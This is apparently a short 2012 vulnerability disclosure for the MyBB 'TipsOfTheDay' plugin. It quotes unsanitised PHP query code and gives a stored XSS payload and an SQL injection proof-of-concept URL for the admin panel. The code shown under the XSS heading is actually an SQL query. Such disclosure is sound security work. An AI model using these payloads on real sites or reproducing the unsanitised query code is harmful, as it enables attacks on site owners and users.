TipsOfTheDay MyBB Plugin Multiple Vulnerabilities

# Exploit Title: TipsOfTheDay mybb plugin stored XSS and SQL injection vulnerabilitys.
# Date: 12.12.2012
# Exploit Author: VipVince
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/tips-of-the-day
# Version: 1.0
# Tested on: Windows

The tipsoftheday.php file is vulnerable to two common web vulnerability's. I will demonstrate below:

**********************************Stored XSS.**********************************************

The vulnerability lies here.

<?php

$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['approve']);

?>

And can be exploited here.

http://www.server.com/dir/misc.php?tips=newtip


Add <script>alert(/xss/)</script> into the boxes as newtip and then refresh the page. Bingo our stored XSS pop up.


**************************************** SQLi Vuln ***************************************************

<?php

$query = $db->simple_select("tipsoftheday", "*", "totdid=".$mybb->input['tip']);
$tip = $db->fetch_array($query);

?>

As you can see has not been sanitized.


It can be exploited via admin panel. POC below:

http://www.server.com/bladir/admin/index.php?module=config-tipsoftheday&action=edittip&tip=[VAILD_ID]'[SQLi]

Result.
